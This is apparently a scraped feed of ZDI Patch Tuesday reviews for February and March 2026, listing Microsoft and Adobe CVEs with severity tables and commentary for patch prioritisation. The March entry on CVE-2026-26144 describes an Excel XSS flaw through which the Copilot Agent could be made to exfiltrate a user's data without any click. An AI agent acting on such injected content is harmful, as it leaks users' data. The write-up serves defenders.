  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21239"><span><span> </span>CVE-2026-21239<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Kernel Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21245"><span><span> </span>CVE-2026-21245<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Kernel Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21222"><span><span> </span>CVE-2026-21222<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Kernel Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">5.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Info</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21243"><span><span> </span>CVE-2026-21243<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Lightweight Directory Access
  Protocol (LDAP) Denial of Service Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">DoS</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20841"><span><span> </span>CVE-2026-20841<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Notepad App Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21249"><span><span> </span>CVE-2026-21249<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows NTLM Spoofing Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">3.3</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21508"><span><span> </span>CVE-2026-21508<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Storage Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21237"><span><span> </span>CVE-2026-21237<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Subsystem for Linux Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21242"><span><span> </span>CVE-2026-21242<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Subsystem for Linux Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-1861"><span><span> </span>CVE-2026-1861 *</span></a></td>
  <td width="263" class="xl75"><span> </span>Chromium: CVE-2026-1861 Heap buffer overflow
  in libvpx<span> </span></td>
  <td class="xl67"><span> </span>High</td>
  <td class="xl65">N/A</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-1862"><span><span> </span>CVE-2026-1862 *</span></a></td>
  <td width="263" class="xl75"><span> </span>Chromium: CVE-2026-1862 Type Confusion in
  V8<span> </span></td>
  <td class="xl67"><span> </span>High</td>
  <td class="xl65">N/A</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-0391"><span><span> </span>CVE-2026-0391<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft Edge (Chromium-based) for Android
  Spoofing Vulnerability<span> </span></td>
  <td class="xl68"><span> </span>Moderate<span> </span></td>
  <td class="xl65">6.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Spoofing</td>
 </tr>
 &lt;![if supportMisalignedColumns]&gt;
 <tr height="0">
  <td width="151"></td>
  <td width="263"></td>
  <td width="111"></td>
  <td width="111"></td>
  <td width="111"></td>
  <td width="111"></td>
  <td width="95"></td>
 </tr>
 &lt;![endif]&gt;
</table>











  
  









  <p class=""><em>* Indicates this CVE had been released by a third party and is now being included in Microsoft releases</em>.</p><p class=""><em>† Indicates further administrative actions are required to fully address the vulnerability.</em></p><p class=""><em> </em></p><p class="">Moving on to the Critical-rated bugs, the patch for Azure Front Door sounds frightening, but Microsoft has already fixed the bug and is just now documenting it. That’s also true for the bugs in Azure Arc and Azure Function. There are two Critical-rated bugs in the ACI Confidential Containers. The first allows a container escape while the second discloses secret tokens and keys. Either way, you’ll want to handle those quickly.</p><p class="">Taking a look at the other code execution vulnerabilities in this month’s release, we start with a frightening looking bug in Azure SDK for Python that has the highest CVSS this month of 9.8. A remote, unauthenticated attacker code gain code execution on an affected system via a maliciously crafted continuation token. It’s not clear why this isn’t rated Critical, but I would treat it as such. The three bugs in Hyper-V are actually local open-and-own bugs that require a user to open a malicious file on an affected system. That’s also true for the bug in Notepad. The bug in Power BI is confusing, because Microsoft says it requires authentication and could lead to an attacker running code as an authenticated user. There’s the poorly named “Azure Local Remote Code Execution Vulnerability”, but it requires a machine-in-the-middle (MitM) to exploit. The bug in Defender for Endpoint Linux is restricted to local subnets, but you’ll need to enable auto provisioning to get the patch. The final code execution bugs addressed this month are in GitHub Copilot. Two are command injections and the other is a Time-of-check time-of-use (toctou) race condition, but both could end up in code execution on affected systems.</p><p class="">Patches for Elevation of Privilege (EoP) bugs make up nearly 50% of this release, but most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges. There are only two of note. The first is a command injection bug in GitHub Copilot that leads to executing code at the level of the targeted application. The second is a bug in a kernel that leads to SYSTEM but could also be used for a sandbox escape.</p><p class="">There’s a unusually high number of spoofing bugs in this month’s release, and the ones for Outlook are the most troubling. First, the Preview Pane is an attack vector. Secondly, the bugs could be used to relay NTLM credentials via just an email, which could result in credential disclosure. And you’ll need multiple patches to fully address these bugs. At least they can be applied in any order.  There’s a UI misrepresentation bug in Exchange Server that could allow an attacker to either view some sensitive information or “make changes to disclosed information”. At what point does data become disclosed? That odd phrasing makes me think they are using AI to right some of their descriptions. The phrasing also appears in the patch for NTLM. That bug is triggered by opening a specially crafted Office doc, and while they explicitly say it could be used to relay NTLM creds, it sure seems that way. The patch for .NET and Visual Studio fixes a bug that allows attackers to bypass header validation, resulting in the service accepting a message it should reject. Finally, the bug in Azure HDInsight is really just a cross-site scripting (XSS) bug. The caveat here is that you need to restart Ambari server in both of the head nodes to have this fix updated. There is also an XSS in Azure Devops Server, but at least it is labelled as such.</p><p class="">There are a couple of additional security feature bypass bugs to discuss. The first is in Hyper-V and bypasses the Virtualization-based Security feature. The other is in GitHub Copilot and Visual Studio Code. It’s another command injection, but this one can be used to bypass authentication. Neat.</p><p class="">Looking at the remaining info disclosure bugs getting patched this month, most simply result in info leaks consisting of unspecified memory contents or memory addresses. The exception is the bug in Azure IoT Explorer. This bug could be used to view the contents of the target user’s local file system.</p><p class="">We end this month’s release with two DoS bugs: one in LDAP and one in GDI+. Neither descriptions from Microsoft provide any usable information.</p><p class="">No new advisories are being released this month.</p><p class=""><strong>Looking Ahead</strong></p><p class="">I plan on being back home for the March release but wherever I’m at, you can rest assured that March 10, I’ll be here to provide my assessment of the release. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The March 2026 Security Update Review]]></title>
<description><![CDATA[I am back in the friendly confines of the Mid-South headquarters of TrendAI ZDI (a.k.a. my home office), and am all set for the third patch Tuesday of 2026. Take a break from your regularly scheduled activities and let’s take a look at the latest security patches from Adobe and Microsoft.If you’d...]]></description>
<link>https://tsecurity.de/de/3694472/it-security-nachrichten/the-march-2026-security-update-review/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694472/it-security-nachrichten/the-march-2026-security-update-review/</guid>
<pubDate>Sat, 25 Jul 2026 19:00:43 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">I am back in the friendly confines of the Mid-South headquarters of TrendAI ZDI (a.k.a. my home office), and am all set for the third patch Tuesday of 2026. Take a break from your regularly scheduled activities and let’s take a look at the latest security patches from Adobe and Microsoft.If you’d rather watch the full video recap covering the entire release, you can check it out here:</p>





















  
  




  
















  
    
      
    
    
      
        
      
    
    
    



  






  <p class=""><strong>Adobe Patches for March 2026</strong></p><p class="">For March, Adobe released eight bulletins addressing 80 unique CVEs in Adobe Acrobat Reader, Commerce, Illustrator, Substance 3D Painter, Premier Pro, Experience Manager, Substance 3D Stager, and the Adobe DNG Software Development Kit (SDK). Two of these bugs were submitted through the TrendAI ZDI program. If you need to prioritize, the update for <a href="https://helpx.adobe.com/security/products/acrobat/apsb26-26.html">Acrobat</a> likely has the most impact, with the patch fixing two Critical-rated and one Important bugs. The fix for <a href="https://helpx.adobe.com/security/products/experience-manager/apsb26-24.html">Experience Manager</a> is the largest this month with 33 CVEs addressed. However, these are simple cross-site scripting (XSS) bugs, so it’s not too exciting. The fix for <a href="https://helpx.adobe.com/security/products/magento/apsb26-05.html">Commerce</a> is also quite large with 19 CVEs. Most of these are also XSS bugs, but there’s a few security feature bypass bugs in there, too. Adobe actually gives this patch a deployment priority of 2, but it’s not under active attack at the time of release. </p><p class="">The fix for <a href="https://helpx.adobe.com/security/products/illustrator/apsb26-18.html">Illustrator</a> corrects seven bugs, including a few Critical-rated ones. The patch for <a href="https://helpx.adobe.com/security/products/substance3d_painter/apsb26-25.html">Substance 3D Painter</a> fixes nine different CVEs, all rated Important. That’s not the case for <a href="https://helpx.adobe.com/security/products/substance3d_stager/apsb26-29.html">Substance 3D Stager</a>, which fixes six different Critical bugs that could lead to arbitrary code execution. The patch for the <a href="https://helpx.adobe.com/security/products/dng-sdk/apsb26-30.html">Adobe DNG Software Development Kit</a> (SDK) addresses one Critical and one Important bug. Finally, the update for Premiere Pro correct a single, Critical-rated bug that could lead to arbitrary code execution. </p><p class="">None of the bugs fixed by Adobe this month are listed as publicly known or under active attack at the time of release, and beyond the update for Commerce, all of the other updates released by Adobe this month are listed as deployment priority 3.</p><p class=""><strong>Microsoft Patches for March 2026</strong></p><p class="">This month, Microsoft released 84 new CVEs in Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, SQL Server, Hyper-V Server, and the Windows Resilient File System (ReFS). Counting the third-party and Chromium updates listed in the release, it brings to total number of CVEs to 94. Five of these bugs were reported through the TrendAI ZDI program. Eight of these bugs are rated Critical, and the rest are rated Important in severity.</p><p class="">This volume is relatively typical for a March release, and the lack of bugs under active attack is a nice change from last month. There are two vulnerabilities listed as publicly known at the time of release, but none listed as actively exploited.</p><p class="">Let’s take a closer look at some of the more interesting updates for this month, starting with a bug with an AI slant:</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26144"><strong>CVE-2026-26144</strong></a><strong> - Microsoft Excel Information Disclosure Vulnerability<br></strong>This is a fascinating bug and an attack scenario we’re likely to see more often. The vulnerability is a simple cross-site scripting (XSS) bug in Excel, but an attacker could use it to cause the Copilot Agent to exfiltrate data off the target. This essentially makes it a zero-click information disclosure. Although not stated, the disclosure is likely at the level of the logged-on user, so there isn’t a privilege escalation component. Info disclosures rarely get rated Critical, but it makes sense here.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26110"><strong>CVE-2026-26110</strong></a><strong>/</strong><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26113"><strong>CVE-2026-26113</strong></a><strong> - Microsoft Office Remote Code Execution Vulnerability <br></strong>Another month and another pair of Office bugs where the Preview Pane is an exploit vector. I’ve lost count of how many of these bugs have been patched over the last year, but it’s just a matter of time until they start appearing in active exploits. The latest versions of Outlook allow you to hide the Preview Pane, but it isn’t clear if this would mitigate these attacks. The best option is still to test and deploy the update, but considering how many of these patches exist, it’s likely further updates will be needed to fully address these issues.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23669"><strong>CVE-2026-23669</strong></a><strong> - Windows Print Spooler Remote Code Execution Vulnerability<br></strong>Just reading the title makes me twitch with remembrances of <a href="https://en.wikipedia.org/wiki/PrintNightmare">Print Nightmare</a> from a few years ago. This bug works in the same manner as those exploits. An authenticated attacker sends specially crafted messages to an affected system to gain arbitrary code execution. No user interaction is required. Let’s hope we don’t end up in a new nightmare of spooler exploits. Test and deploy this one quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23668"><strong>CVE-2026-23668</strong></a><strong> - Windows Graphics Component Elevation of Privilege Vulnerability<br></strong>This vulnerability was submitted to the ZDI program by Marcin Wiązowski as two separate bugs, and it demonstrates the need for variant investigations when creating security patches. Both cases are caused by the lack of proper locking when performing operations on an object. However, in one case, it’s in the cdd.dll driver while the other is in the win32kfull driver. Either way, an attacker could use these to elevate privileges to SYSTEM and execute arbitrary code. Since the fix for both is to add object locking to the GDI object, the cases are combined into a single CVE. That’s not a problem, but it does show how variants can occur, and fixes should be as broad as possible.</p><p class="">Here’s the full list of CVEs released by Microsoft for March 2026:</p>





















  
  




  


  
    





<link rel="File-List" href="2026_PatchTable-March.fld/filelist.xml">













<table border="0" cellpadding="0" cellspacing="0" width="953">
 <col width="151" class="xl65">
 <col width="263" class="xl66">
 <col width="111" class="xl67" span="4">
 <col width="95" class="xl67">
 <col width="645" class="xl65">
 <tr height="47">
  <td width="151" class="xl65" height="47"><span> </span>CVE<span> </span></td>
  <td width="263" class="xl66"><span> </span>Title<span> </span></td>
  <td width="111" class="xl67"><span> </span>Severity<span> </span></td>
  <td width="111" class="xl67"><span> </span>CVSS<span> </span></td>
  <td width="111" class="xl67"><span> </span>Public</td>
  <td width="111" class="xl67"><span> </span>Exploited<span> </span></td>
  <td width="95" class="xl67"><span> </span>Type<span> </span></td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26127"><span><span> </span>CVE-2026-26127<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>.NET Denial of Service Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl68"><span> </span>Yes<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21262"><span><span> </span>CVE-2026-21262<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>SQL Server Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl68"><span> </span>Yes<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23651"><span><span> </span>CVE-2026-23651<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft ACI Confidential Containers
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">6.7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26124"><span><span> </span>CVE-2026-26124<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft ACI Confidential Containers
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">6.7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26122"><span><span> </span>CVE-2026-26122<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft ACI Confidential Containers
  Information Disclosure Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">6.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21536"><span><span> </span>CVE-2026-21536<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Devices Pricing Program Remote
  Code Execution Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">9.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26144"><span><span> </span>CVE-2026-26144<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Excel Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26110"><span><span> </span>CVE-2026-26110<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Office Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">8.4</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26113"><span><span> </span>CVE-2026-26113<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Office Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">8.4</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26125"><span><span> </span>CVE-2026-26125<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Payment Orchestrator Service Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">8.6</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26131"><span><span> </span>CVE-2026-26131<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>.NET Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25177"><span><span> </span>CVE-2026-25177<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Active Directory Domain Services Elevation
  of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26117"><span><span> </span>CVE-2026-26117<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Arc Enabled Servers - Azure Connected
  Machine Agent Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26130"><span><span> </span>CVE-2026-26130<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>ASP.NET Core Denial of Service
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23661"><span><span> </span>CVE-2026-23661<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Azure IoT Explorer Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23662"><span><span> </span>CVE-2026-23662<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Azure IoT Explorer Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23664"><span><span> </span>CVE-2026-23664<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Azure IoT Explorer Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26121"><span><span> </span>CVE-2026-26121<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Azure IOT Explorer Spoofing
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26118"><span><span> </span>CVE-2026-26118<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Azure MCP Server Tools Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23667"><span><span> </span>CVE-2026-23667<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Broadcast DVR Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25190"><span><span> </span>CVE-2026-25190<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>GDI Remote Code Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25181"><span><span> </span>CVE-2026-25181<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>GDI+ Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="97">
  <td class="xl72" height="97"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26030"><span><span> </span>CVE-2026-26030 *</span></a></td>
  <td width="263" class="xl66"><span> </span>GitHub: CVE-2026-26030 Microsoft Semantic
  Kernel InMemoryVectorStore filter functionality vulnerable<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">9.9</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23654"><span><span> </span>CVE-2026-23654 *</span></a></td>
  <td width="263" class="xl66"><span> </span>GitHub: Zero Shot SCFoundation Remote Code
  Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26141"><span><span> </span>CVE-2026-26141<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Hybrid Worker Extension (Arc-enabled Windows
  VMs) Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23665"><span><span> </span>CVE-2026-23665 †</span></a></td>
  <td width="263" class="xl66"><span> </span>Linux Azure Diagnostic extension (LAD)
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
